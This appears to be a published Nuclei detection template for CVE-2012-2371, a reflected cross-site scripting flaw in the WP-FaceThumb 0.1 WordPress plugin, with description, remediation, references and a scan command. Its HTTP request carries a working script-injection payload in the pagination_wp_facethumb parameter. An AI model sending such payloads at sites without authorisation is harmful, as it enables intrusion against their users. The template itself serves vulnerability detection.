WP-FaceThumb 0.1 - Cross-Site Scripting

ID: CVE-2012-2371

Severity: medium

Author: daffainfo

Tags: cve,cve2012,packetstorm,wordpress,xss,wp-plugin,mnt-tech

Description

A cross-site scripting vulnerability in index.php in the WP-FaceThumb plugin 0.1 for WordPress allows remote attackers to inject arbitrary web script or HTML via the pagination_wp_facethumb parameter.

YAML Source

id: CVE-2012-2371

info:
  name: WP-FaceThumb 0.1 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in index.php in the WP-FaceThumb plugin 0.1 for WordPress allows remote attackers to inject arbitrary web script or HTML via the pagination_wp_facethumb parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential theft of sensitive information or unauthorized actions.
  remediation: |
    Update to the latest version of the WP-FaceThumb plugin (0.2 or higher) which includes proper input sanitization to mitigate the XSS vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2012-2371
    - http://www.openwall.com/lists/oss-security/2012/05/15/12
    - http://packetstormsecurity.org/files/112658/WordPress-WP-FaceThumb-Gallery-0.1-Cross-Site-Scripting.html
    - http://wordpress.org/support/topic/plugin-wp-facethumb-reflected-xss-vulnerability-cwe-79
    - http://www.openwall.com/lists/oss-security/2012/05/16/1
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2012-2371
    cwe-id: CWE-79
    epss-score: 0.01099
    epss-percentile: 0.84417
    cpe: cpe:2.3:a:mnt-tech:wp-facethumb:0.1:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: "mnt-tech"
    product: "wp-facethumb"
  tags: cve,cve2012,packetstorm,wordpress,xss,wp-plugin,mnt-tech
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/wp-facethumb/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'WP-FaceThumb ==='

  - method: GET
    path:
      - '{{BaseURL}}/?page_id=1&pagination_wp_facethumb=1%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100cecc852c920bdaad9aaac8d7beeb72916a1e2c700fa64db0dcd723b767a700c602202b014fdfc73e9492c4ac17484d51dfe5d2fb4777544e2b80411bb1624a200a27:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2012/CVE-2012-2371.yaml"

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